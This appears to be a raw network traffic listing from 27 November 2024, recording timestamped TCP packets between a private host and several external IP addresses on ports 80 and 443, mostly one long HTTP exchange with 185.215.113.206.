Nov 27, 2024 16:34:45.612499952 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.612562895 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.612886906 CET	443	49819	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.613411903 CET	49819	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.613424063 CET	443	49819	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.614052057 CET	49819	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.614057064 CET	443	49819	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.662595987 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.662678003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.662734032 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.676378012 CET	443	49822	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:45.676676989 CET	49822	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:45.676702023 CET	443	49822	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:45.676899910 CET	443	49821	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:45.677077055 CET	443	49822	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:45.677242041 CET	49821	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:45.677258015 CET	443	49821	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:45.678265095 CET	443	49820	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.679100037 CET	443	49821	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:45.679162979 CET	49821	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:45.681960106 CET	49822	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:45.682034969 CET	443	49822	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:45.682112932 CET	49821	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:45.682200909 CET	443	49821	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:45.687906981 CET	49820	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.687932014 CET	443	49820	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.688416958 CET	49820	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.688425064 CET	443	49820	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.733760118 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.733839989 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.733953953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.734275103 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.734361887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.734407902 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.734440088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.734482050 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.735332012 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.735389948 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.735430002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.735465050 CET	49822	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:45.735483885 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.736340046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.736397028 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.736463070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.736507893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.737417936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.737461090 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.737642050 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.737696886 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.738423109 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.738481998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.738529921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.738580942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.739460945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.739511967 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.739572048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.739614964 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.740511894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.740566015 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.740717888 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.740895987 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.741530895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.741580009 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.741633892 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.741734028 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.742559910 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.742604017 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.742659092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.742701054 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.743598938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.743644953 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.743659973 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.743736029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.744610071 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.744656086 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.744719028 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.744761944 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.745657921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.745706081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.745769024 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.745811939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.746711969 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.746759892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.746861935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.746907949 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.747718096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.747766972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.747776031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.747819901 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.748749018 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.748883963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.748929977 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.749790907 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.749835014 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.749893904 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.749960899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.750808954 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.750972986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.751019001 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.751856089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.751909971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.751976967 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.752048969 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.752906084 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.752955914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.753004074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.753041029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.753911018 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.753962994 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.753993988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.754375935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.755165100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.755235910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.755264044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.755310059 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.755999088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.756064892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.756133080 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.756171942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.757016897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.757148027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.757195950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.758080006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.758135080 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.758187056 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.758230925 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.759094000 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.759140015 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.759202957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.759247065 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.760235071 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.760286093 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.760349035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.760395050 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.761125088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.761183023 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.761194944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.761240959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.762217999 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.762270927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.762301922 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.762392044 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.763278008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.763336897 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.763458967 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.763602972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.764251947 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.764317989 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.764364004 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.764511108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.765299082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.765366077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.765389919 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.765433073 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.766311884 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.766372919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.766421080 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.766457081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.767348051 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.767395973 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.767442942 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.767482996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.768513918 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.768574953 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.768629074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.768665075 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.769423962 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.769479990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.769525051 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.769665003 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.770443916 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.770560026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.770606995 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.771467924 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.771563053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.771620035 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.772510052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.772557020 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.772650957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.772702932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.773648977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.773701906 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.773732901 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.773830891 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.774599075 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.774665117 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.774709940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.774894953 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.775625944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.775679111 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.775739908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.775780916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.776654005 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.776710033 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.776767015 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.776911974 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.777673006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.777774096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.777822971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.778723955 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.778778076 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.778819084 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.778876066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.779752016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.779798985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.779849052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.779896021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.780889034 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.780941963 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.785322905 CET	49821	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:45.785332918 CET	443	49821	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:45.792495966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.792527914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.792548895 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.792571068 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.792723894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.792772055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.792870045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.792915106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.793734074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.793785095 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.793802023 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.793838024 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.794645071 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.794681072 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.794758081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.804884911 CET	443	49815	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.804955006 CET	443	49815	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.805043936 CET	49815	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.805326939 CET	49815	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.805352926 CET	443	49815	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.805382967 CET	49815	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.805388927 CET	443	49815	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.808315992 CET	49835	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.808362961 CET	443	49835	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.808523893 CET	49835	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.808692932 CET	49835	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.808707952 CET	443	49835	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.863956928 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.864025116 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.864087105 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.864240885 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.864329100 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.864351034 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.864373922 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.864448071 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.864465952 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.864500999 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.864530087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.864538908 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.864876986 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.864876986 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.864914894 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.865099907 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.865124941 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.865196943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.865238905 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.865253925 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.865309000 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.865888119 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.865947008 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.865989923 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.866189003 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.931794882 CET	443	49825	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:45.932164907 CET	49825	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:45.932174921 CET	443	49825	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:45.934993982 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.935055971 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.935065985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.935100079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.935184956 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.935228109 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.935277939 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.935329914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.936101913 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.936156988 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.936184883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.936283112 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.936597109 CET	443	49825	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:45.936678886 CET	49825	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:45.937000036 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.937063932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.937146902 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.937182903 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.937936068 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.937977076 CET	49825	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:45.938015938 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.938052893 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.938093901 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.938101053 CET	443	49825	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:45.938863039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.938918114 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.938937902 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.939325094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.939757109 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.939815044 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.939851999 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.939893007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.940215111 CET	443	49818	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.940282106 CET	443	49818	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.940352917 CET	49818	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.940701962 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.940828085 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.940864086 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.940999031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.941158056 CET	49818	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.941174030 CET	443	49818	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.941184044 CET	49818	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.941190004 CET	443	49818	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.941704988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.941792011 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.941808939 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.941848993 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.942596912 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.942704916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.942723989 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.942778111 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.943413973 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.943470001 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.943507910 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.943548918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.944346905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.944401979 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.944439888 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.944479942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.944777012 CET	49838	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.944797993 CET	443	49838	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.944890022 CET	49838	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.945118904 CET	49838	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:45.945130110 CET	443	49838	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:45.945341110 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.945396900 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.945435047 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.945476055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.946194887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.946242094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.946355104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.946398020 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.947143078 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.947189093 CET	49777	80	192.168.2.7	185.215.113.206
